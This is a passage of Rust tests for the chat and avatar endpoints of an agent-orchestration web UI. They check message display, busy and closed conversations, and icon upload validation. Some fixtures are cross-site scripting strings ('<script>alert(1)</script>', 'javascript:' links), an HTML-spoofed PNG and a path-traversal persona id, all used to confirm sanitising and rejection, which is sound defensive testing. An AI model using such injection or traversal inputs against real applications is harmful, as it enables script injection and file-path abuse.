13933 StatusCode::BAD_REQUEST,
13934 "{}",
13935 unknown.message
13936 );
13937
13938 {
13939 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13942 let busy = call("second").await.expect_err("busy talk");
13943 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13944 assert!(
13945 busy.message.contains("a talk turn is running"),
13946 "{}",
13947 busy.message
13948 );
13949 drop(guard);
13950 }
13951 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13952
13953 let Json(view) = call("second").await.expect("switch");
13954 assert_eq!(view.talk.agent, "second");
13955 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13956 let saved = talks.get(&id).expect("reload");
13957 assert_eq!(saved.agent, "second");
13958 assert_eq!(saved.turns.len(), 1);
13959 assert!(!view.thinking);
13960 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13961 for agent in ["mock", "second"] {
13962 let Json(view) = call(agent).await.expect("immediate consecutive change");
13963 assert_eq!(view.talk.agent, agent);
13964 assert!(!view.thinking);
13965 assert!(!ui.is_thinking(&id));
13966 }
13967
13968 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13969 .await
13970 .expect("detail");
13971 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13972 assert_eq!(roster, ["mock", "second"]);
13973
13974 let mut closed = talks.get(&id).expect("reload");
13975 talk::close(&mut closed, &talks).expect("close");
13976 let refused = call("mock").await.expect_err("closed talk");
13977 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13978 assert!(
13979 refused.message.contains("takes no more turns"),
13980 "{}",
13981 refused.message
13982 );
13983 }
13984
13985 #[tokio::test]
13986 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13987 let tmp = TempDir::new().expect("tempdir");
13988 let repo = tmp.path().join("repo");
13989 std::fs::create_dir_all(&repo).expect("repo dir");
13990 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13991 let home = TempDir::new().expect("temp home");
13992 let talks = Talks::at(home.path().join("talks"));
13993 let ui = Arc::new(
13994 Ui::new(
13995 Queue::at(home.path().join("queue")),
13996 Questions::at(home.path().join("questions")),
13997 talks.clone(),
13998 home.path().join("runs"),
13999 home.path().to_path_buf(),
14000 repo.clone(),
14001 )
14002 .with_worktrees_root(home.path().join("wt")),
14003 );
14004 let cfg = config_for(&repo).await.expect("discover config");
14005 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14006 let id = talk.id.clone();
14007 let call = |n: u8| {
14008 talk_implementers(
14009 State(Arc::clone(&ui)),
14010 Path(id.clone()),
14011 Json(TalkImplementers { implementers: n }),
14012 )
14013 };
14014
14015 for bad in [0u8, 4] {
14016 let e = call(bad).await.expect_err("out of range");
14017 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14018 }
14019 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14020
14021 {
14022 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14025 let busy = call(2).await.expect_err("busy talk");
14026 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14027 assert!(
14028 busy.message.contains("a talk turn is running"),
14029 "{}",
14030 busy.message
14031 );
14032 drop(guard);
14033 }
14034
14035 let Json(view) = call(3).await.expect("switch");
14036 assert_eq!(view.talk.implementers, 3);
14037 assert!(talks.get(&id).expect("reload").implementers_dirty);
14038 assert!(!view.thinking);
14039 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14040 for n in [1, 2, 3] {
14041 let Json(view) = call(n).await.expect("immediate consecutive change");
14042 assert_eq!(view.talk.implementers, n);
14043 assert!(!view.thinking);
14044 assert!(!ui.is_thinking(&id));
14045 }
14046
14047 let mut closed = talks.get(&id).expect("reload");
14048 talk::close(&mut closed, &talks).expect("close");
14049 let e = call(2).await.expect_err("closed talk");
14050 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14051 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14052 }
14053
14054 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14056 let tmp = TempDir::new().expect("tempdir");
14057 let repo = tmp.path().join("repo");
14058 std::fs::create_dir_all(&repo).expect("repo dir");
14059 std::fs::write(
14060 repo.join("magi.toml"),
14061 format!("{MOCK_AGENT_TOML}\n{extra}"),
14062 )
14063 .expect("write magi.toml");
14064 let home = TempDir::new().expect("temp home");
14065 let talks = Talks::at(home.path().join("talks"));
14066 let ui = Arc::new(
14067 Ui::new(
14068 Queue::at(home.path().join("queue")),
14069 Questions::at(home.path().join("questions")),
14070 talks.clone(),
14071 home.path().join("runs"),
14072 home.path().to_path_buf(),
14073 repo.clone(),
14074 )
14075 .with_worktrees_root(home.path().join("wt")),
14076 );
14077 let cfg = config_for(&repo).await.expect("discover config");
14078 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14079 (tmp, home, ui, talk.id, repo)
14080 }
14081
14082 #[tokio::test]
14083 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14084 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14085 let mut conversation = ui.talks.get(&id).unwrap();
14086 talk::record(
14087 &mut conversation,
14088 &ui.talks,
14089 "# Update on a task you filed\noperator words",
14090 vec![],
14091 )
14092 .unwrap();
14093 conversation.turns[0].sender = None;
14095 conversation.turns[0].messages.clear();
14096 ui.talks.put(&mut conversation).unwrap();
14097 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14098 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14099 talk::drain(&mut conversation, &ui.talks).unwrap();
14100 talk::record_reply(
14101 &mut conversation,
14102 &ui.talks,
14103 "about that report",
14104 vec![],
14105 Some(talk::ReplyTarget {
14106 turn: 1,
14107 message: 1,
14108 }),
14109 )
14110 .unwrap();
14111 conversation.turns[2].messages[0]
14112 .reply
14113 .as_mut()
14114 .unwrap()
14115 .sender = None;
14116 conversation.turns.push(talk::Turn {
14117 sender: Some(talk::Sender::Persona),
14118 who: talk::Who::Agent,
14119 body: "magi: actual persona words".into(),
14120 at: Timestamp::now(),
14121 attachments: vec![],
14122 usage: None,
14123 breaks: None,
14124 messages: vec![],
14125 posted_by: None,
14126 });
14127 ui.talks.put(&mut conversation).unwrap();
14128 let view = TalkView::with_config(
14129 ui.talks.get(&id).unwrap(),
14130 false,
14131 None,
14132 &ui.home,
14133 &ui.references,
14134 );
14135 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14136 assert_eq!(
14137 view.talk.turns[1].messages[0].sender,
14138 Some(talk::Sender::Operator)
14139 );
14140 assert_eq!(
14141 view.talk.turns[1].messages[1].sender,
14142 Some(talk::Sender::Magi)
14143 );
14144 assert_eq!(
14145 view.talk.turns[2].messages[0]
14146 .reply
14147 .as_ref()
14148 .unwrap()
14149 .sender,
14150 Some(talk::Sender::Magi)
14151 );
14152 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14153 assert_eq!(view.turn_messages_md[0].len(), 1);
14154 assert!(view.turn_messages_md[0][0].is_none());
14155 assert!(view.turn_messages_md[1][0].is_none());
14156 assert!(view.turn_messages_md[1][1].is_some());
14157 }
14158
14159 #[tokio::test]
14160 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14161 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14162 let mut conversation = ui.talks.get(&id).unwrap();
14163 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14164 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14165 talk::queue_notice(
14166 &mut conversation,
14167 &ui.talks,
14168 &body,
14169 "watch:123",
14170 &|_| false,
14171 None,
14172 display.clone(),
14173 )
14174 .unwrap();
14175 assert!(
14176 !talk::queue_notice(
14177 &mut conversation,
14178 &ui.talks,
14179 &body,
14180 "watch:123",
14181 &|_| false,
14182 None,
14183 display.clone()
14184 )
14185 .unwrap()
14186 );
14187 let saved = ui.talks.get(&id).unwrap();
14188 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14189 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14190 assert!(
14191 view.talk.turns[0].messages[0].display.is_none(),
14192 "operator copy stays literal"
14193 );
14194 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14195 assert!(view.turn_messages_md[0][0].is_none());
14196 let queued_md = view.pending_messages_md[0].clone();
14197 assert_eq!(
14198 queued_md,
14199 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14200 );
14201 talk::drain(&mut conversation, &ui.talks).unwrap();
14202 talk::record_reply(
14203 &mut conversation,
14204 &ui.talks,
14205 "Explain",
14206 vec![],
14207 Some(talk::ReplyTarget {
14208 turn: 1,
14209 message: 0,
14210 }),
14211 )
14212 .unwrap();
14213 let mut saved = ui.talks.get(&id).unwrap();
14214 assert_eq!(saved.turns[1].messages[0].body, body);
14215 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14216 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14217 assert!(!reply.excerpt.contains("automatic report"));
14218 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14221 let view = TalkView::with_config(
14222 ui.talks.get(&id).unwrap(),
14223 false,
14224 None,
14225 &ui.home,
14226 &ui.references,
14227 );
14228 assert_eq!(view.turn_messages_md[1][0], queued_md);
14229 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14230 assert!(
14231 !view.talk.turns[2].messages[0]
14232 .reply
14233 .as_ref()
14234 .unwrap()
14235 .excerpt
14236 .contains("automatic report")
14237 );
14238 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14239 }
14240
14241 #[tokio::test]
14242 async fn consultation_display_hides_directives_in_queue_and_history() {
14243 for node in [
14244 "implement",
14245 crate::land::APPROVAL_NODE,
14246 crate::github_text::ASK_NODE,
14247 ] {
14248 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14249 let mut question = Question::new(
14250 "run-123".into(),
14251 node.into(),
14252 "seat-1".into(),
14253 "Which backend?".into(),
14254 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14255 vec!["SQLite".into(), "Redis".into()],
14256 );
14257 ui.questions.put(&mut question).unwrap();
14258 let body = crate::prompt::chat_consult(&question);
14259 let mut conversation = ui.talks.get(&id).unwrap();
14260 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14261 assert!(
14262 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14263 );
14264 conversation = ui.talks.get(&id).unwrap();
14265 assert_eq!(conversation.pending_messages[0].body, body);
14266 assert!(body.contains("magi answer"));
14267 let mut legacy_pending = conversation.clone();
14268 legacy_pending.pending_messages[0].display = None;
14269 let legacy_view =
14270 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14271 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14272 assert!(legacy_md.contains("Question consultation"));
14273 assert!(!legacy_md.contains("magi answer"));
14274 let view =
14275 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14276 assert!(
14277 view.turn_messages_md[0][0].is_none(),
14278 "operator copy stays literal"
14279 );
14280 let queued_md = view.pending_messages_md[0].clone().unwrap();
14281 let rendered = serde_json::to_string(&queued_md).unwrap();
14282 for visible in [
14283 "Which backend?",
14284 "Context",
14285 "storage",
14286 "SQLite",
14287 "Redis",
14288 "<script>literal</script>",
14289 ] {
14290 assert!(rendered.contains(visible), "missing {visible}");
14291 }
14292 for directive in [
14293 "What to do",
14294 "magi answer",
14295 "Never answer it yourself",
14296 "Do not edit the repository",
14297 ] {
14298 assert!(!rendered.contains(directive), "exposed {directive}");
14299 }
14300 assert_eq!(
14301 view.talk.pending_messages[0].display,
14302 Some(crate::prompt::chat_consult_display(&question))
14303 );
14304 talk::drain(&mut conversation, &ui.talks).unwrap();
14305 let view =
14306 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14307 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14308 assert_eq!(conversation.turns[1].messages[0].body, body);
14309
14310 conversation.turns[1].messages[0].display = None;
14313 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14314 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14315 assert!(legacy.contains("Question consultation"));
14316 assert!(!legacy.contains("magi answer"));
14317 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14318 }
14319 }
14320
14321 #[test]
14322 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14323 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14324 let (body, mut display) =
14325 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14326 display.facts = facts.into();
14327 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14328 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14329 let json = serde_json::to_string(&nodes).unwrap();
14330 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14331 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14332 }
14333 assert!(json.contains("<script>alert(1)</script>"));
14334 assert!(!json.contains("javascript:"));
14335 assert!(!json.contains("Tell the operator"));
14336 assert!(!json.contains("untrusted"));
14337 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14338 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14339 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14340 assert_eq!(
14341 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14342 md::to_nodes("# Status", &md::ImageBase::None),
14343 );
14344 }
14345
14346 #[tokio::test]
14347 async fn notification_display_recovers_exact_legacy_completion_references() {
14348 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14349 let mut conversation = ui.talks.get(&id).unwrap();
14350 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14351 id: "task-123",
14352 title: "Change",
14353 status: "done",
14354 reason: None,
14355 run: Some("run-123"),
14356 pr: None,
14357 summary: Some("Merge state unknown"),
14358 });
14359 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14360 conversation.turns[0].sender = None;
14361 conversation.turns[0].messages.clear();
14362 conversation.turns[0].breaks = None;
14363 conversation.pending = body.clone();
14364 conversation
14365 .completion_notices
14366 .push(crate::chat_notify::CompletionReference {
14367 task: "task-123".into(),
14368 run: Some("run-123".into()),
14369 notice: body.clone(),
14370 });
14371 ui.talks.put(&mut conversation).unwrap();
14372 let view = TalkView::with_config(
14373 ui.talks.get(&id).unwrap(),
14374 false,
14375 None,
14376 &ui.home,
14377 &ui.references,
14378 );
14379 assert_eq!(
14380 view.talk.turns[0].messages[0].display,
14381 Some(display.clone())
14382 );
14383 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14384 assert_eq!(
14385 view.talk.turns[0].messages[0].sender,
14386 Some(talk::Sender::Magi)
14387 );
14388 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14389 conversation.completion_notices[0]
14390 .notice
14391 .push_str("different");
14392 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14393 assert!(view.talk.turns[0].messages.is_empty());
14394 assert!(view.talk.pending_messages.is_empty());
14395 }
14396
14397 #[tokio::test]
14398 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14399 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14400 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14401 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14402 ))
14403 .await;
14404 let path = avatar_setting_path(home.path(), Some("rei"));
14405 let orphan = avatar_setting_path(home.path(), Some("removed"));
14406 save_icon_file(&orphan, icon).unwrap();
14407 for (saved, expected) in [
14408 (icon, "custom"),
14409 ("builtin", "builtin"),
14410 ("data:image/png;base64,!!!!", "inherit"),
14411 ("data:image/png;base64,PGh0bWw+", "inherit"),
14412 ("/tmp/avatar.png", "inherit"),
14413 ] {
14414 atomic_icon_write(&path, saved).unwrap();
14415 let catalog =
14416 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14417 .await
14418 .unwrap()
14419 .0;
14420 let personas = catalog["personas"].as_array().unwrap();
14421 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14422 assert_eq!(rei["override_state"], expected);
14423 assert_eq!(rei["has_config_icon"], true);
14424 assert_eq!(rei["is_orphan"], false);
14425 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14426 assert_eq!(removed["override_state"], "custom");
14427 assert_eq!(removed["is_orphan"], true);
14428 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14429 assert_eq!(default["override_state"], "inherit");
14430 assert_eq!(default["has_config_icon"], false);
14431 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14432 assert_eq!(
14433 effective.as_deref(),
14434 Some(if expected == "builtin" { "" } else { icon })
14435 );
14436 }
14437 }
14438
14439 #[tokio::test]
14440 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14441 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14442 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14443 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14444 ))
14445 .await;
14446 let target = |id: Option<&str>| AvatarSettingsQuery {
14447 persona: id.map(str::to_owned),
14448 ..Default::default()
14449 };
14450 let original_config = config_for(&repo).await.unwrap();
14451 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14452 let original_prompt = persona::section_for(&original_persona, None);
14453 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14454 .await
14455 .unwrap()
14456 .0;
14457 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14458 let _ = avatar_settings_put(
14459 State(ui.clone()),
14460 Query(target(persona)),
14461 Json(MagiIconUpload { icon: icon.into() }),
14462 )
14463 .await
14464 .unwrap();
14465 let path = avatar_setting_path(home.path(), persona);
14466 assert!(path.starts_with(home.path().join("avatars")));
14467 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14468 for bad in [
14469 "/tmp/image.png".to_owned(),
14470 "data:image/png;base64,!!!!".to_owned(),
14471 "data:image/png;base64,PGh0bWw+".to_owned(),
14472 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14473 format!(
14474 "data:image/png;base64,{}",
14475 "A".repeat(persona_icon::ICON_MAX_BYTES)
14476 ),
14477 ] {
14478 assert!(
14479 avatar_settings_put(
14480 State(ui.clone()),
14481 Query(target(persona)),
14482 Json(MagiIconUpload { icon: bad })
14483 )
14484 .await
14485 .is_err()
14486 );
14487 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14488 }
14489 }
14490 assert!(read_magi_icon(home.path()).is_none());
14491 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14492 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14493 .await
14494 .unwrap()
14495 .0;
14496 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14497 assert_ne!(
14498 before
14499 .personas
14500 .iter()
14501 .find(|p| p.id == "magi")
14502 .unwrap()
14503 .avatar,
14504 after
14505 .personas
14506 .iter()
14507 .find(|p| p.id == "magi")
14508 .unwrap()
14509 .avatar
14510 );
14511 let restarted = Arc::new(Ui::new(
14512 Queue::at(home.path().join("queue")),
14513 Questions::at(home.path().join("questions")),
14514 Talks::at(home.path().join("talks")),
14515 home.path().join("runs"),
14516 home.path().to_owned(),
14517 repo,
14518 ));
14519 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14520 .await
14521 .unwrap()
14522 .0;
14523 assert!(
14524 catalog["personas"]
14525 .as_array()
14526 .unwrap()
14527 .iter()
14528 .any(|p| p["id"] == "../custom/日本語")
14529 );
14530 for expected in ["custom", "default", "rei"] {
14531 assert!(
14532 catalog["personas"]
14533 .as_array()
14534 .unwrap()
14535 .iter()
14536 .any(|p| p["id"] == expected)
14537 );
14538 }
14539 let response =
14540 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14541 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14542 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14543 .await
14544 .unwrap();
14545 assert_eq!(
14546 effective_persona_icon(home.path(), "rei", Some(icon)),
14547 Some(String::new())
14548 );
14549 let response = talk_avatar(
14550 State(restarted.clone()),
14551 Path(id.clone()),
14552 Query(AvatarQuery {
14553 persona: Some("rei".into()),
14554 ..Default::default()
14555 }),
14556 )
14557 .await
14558 .unwrap();
14559 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14560 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14561 .await
14562 .unwrap()
14563 .0;
14564 assert_ne!(
14565 after
14566 .personas
14567 .iter()
14568 .find(|p| p.id == "rei")
14569 .unwrap()
14570 .avatar,
14571 reset
14572 .personas
14573 .iter()
14574 .find(|p| p.id == "rei")
14575 .unwrap()
14576 .avatar
14577 );
14578 let mut inherit = target(Some("rei"));
14579 inherit.inherit = Some("1".into());
14580 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14581 .await
14582 .unwrap();
14583 assert_eq!(
14584 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14585 Some(icon)
14586 );
14587 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14588 .await
14589 .unwrap();
14590 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14591 assert_eq!(
14592 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14593 Some(icon)
14594 );
14595 let cfg = config_for(&ui.repo).await.unwrap();
14597 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14598 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14599 assert!(!original_prompt.contains("data:image"));
14600 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14601 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14602 assert!(!stored.contains("data:image"));
14603 let mut orphan = ui.talks.get(&id).unwrap();
14604 orphan.persona = "../custom/日本語".into();
14605 let view = TalkView::with_config(
14606 orphan,
14607 false,
14608 Some(&cfg),
14609 home.path(),
14610 &id_links::IndexCache::default(),
14611 );
14612 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14613 }
14614
14615 #[tokio::test]
14616 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14617 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14618 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14619 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14620 let _ = magi_icon_put(
14621 State(ui.clone()),
14622 Json(MagiIconUpload { icon: icon.into() }),
14623 )
14624 .await
14625 .unwrap();
14626 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14627 assert_ne!(original, changed);
14628 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14629 let response = magi_avatar(
14630 State(ui.clone()),
14631 Query(AvatarQuery {
14632 persona: None,
14633 builtin: None,
14634 }),
14635 )
14636 .await;
14637 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14638 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14639 assert_eq!(
14640 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14641 "nosniff"
14642 );
14643 for bad in [
14644 "data:image/png;base64,PGh0bWw+".to_owned(),
14645 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14646 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14647 ] {
14648 assert!(save_magi_icon(home.path(), &bad).is_err());
14649 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14650 }
14651 let restarted = Arc::new(Ui::new(
14653 Queue::at(home.path().join("queue")),
14654 Questions::at(home.path().join("questions")),
14655 Talks::at(home.path().join("talks")),
14656 home.path().join("runs"),
14657 home.path().to_path_buf(),
14658 repo,
14659 ));
14660 assert_eq!(
14661 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14662 changed
14663 );
14664 let view = TalkView::with_config(
14665 restarted.talks.get(&id).unwrap(),
14666 false,
14667 None,
14668 &restarted.home,
14669 &restarted.references,
14670 );
14671 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14672 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14673 let response = magi_avatar(
14674 State(ui.clone()),
14675 Query(AvatarQuery {
14676 persona: None,
14677 builtin: None,
14678 }),
14679 )
14680 .await;
14681 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14682 .await
14683 .unwrap();
14684 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14685 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14686 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14687 let _ = magi_icon_delete(State(ui)).await.unwrap();
14688 }
14689
14690 async fn avatar(
14692 ui: &Arc<Ui>,
14693 id: &str,
14694 persona: Option<&str>,
14695 builtin: bool,
14696 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14697 let res = talk_avatar(
14698 State(Arc::clone(ui)),
14699 Path(id.to_owned()),
14700 Query(AvatarQuery {
14701 persona: persona.map(str::to_owned),
14702 builtin: builtin.then(|| "1".to_owned()),
14703 }),
14704 )
14705 .await
14706 .expect("an avatar is never an error response");
14707 let h = res.headers();
14708 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14709 let nosniff = h
14710 .get(header::X_CONTENT_TYPE_OPTIONS)
14711 .is_some_and(|v| v == "nosniff");
14712 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14713 let status = res.status();
14714 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14715 .await
14716 .expect("body")
14717 .to_vec();
14718 (status, ct, nosniff, csp, body)
14719 }
14720
14721 fn tiny_png() -> Vec<u8> {
14722 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14723 b.extend_from_slice(&[0u8; 32]);
14724 b
14725 }
14726
14727 #[tokio::test]
14728 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14729 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14730 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14731 assert_eq!(res.status(), StatusCode::OK);
14732 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14733 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14734 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14735 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14736 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14737 .await
14738 .unwrap();
14739 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14740 assert_ne!(
14741 persona_icon::operator_svg(),
14742 persona_icon::builtin_svg("default")
14743 );
14744 }
14745
14746 #[tokio::test]
14747 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14748 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14749 for p in [
14750 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14751 ] {
14752 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14753 assert_eq!(status, StatusCode::OK, "{p}");
14754 assert_eq!(ct, "image/svg+xml", "{p}");
14755 assert!(nosniff && csp, "{p}");
14756 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14757 }
14758 let own = avatar(&ui, &id, None, false).await;
14760 let default = avatar(&ui, &id, Some("default"), false).await;
14761 assert_eq!(own.4, default.4);
14762 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14763 assert_eq!(unknown.1, "image/svg+xml");
14764 }
14765
14766 #[tokio::test]
14767 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14768 let dir = TempDir::new().expect("icons");
14769 let good = dir.path().join("good.png");
14770 std::fs::write(&good, tiny_png()).unwrap();
14771 let spoof = dir.path().join("spoof.png");
14772 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14773 let big = dir.path().join("big.png");
14774 let mut bytes = tiny_png();
14775 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14776 std::fs::write(&big, bytes).unwrap();
14777 let missing = dir.path().join("missing.png");
14778 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14779 let extra = format!(
14780 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14781 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14782 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14783 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14784 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
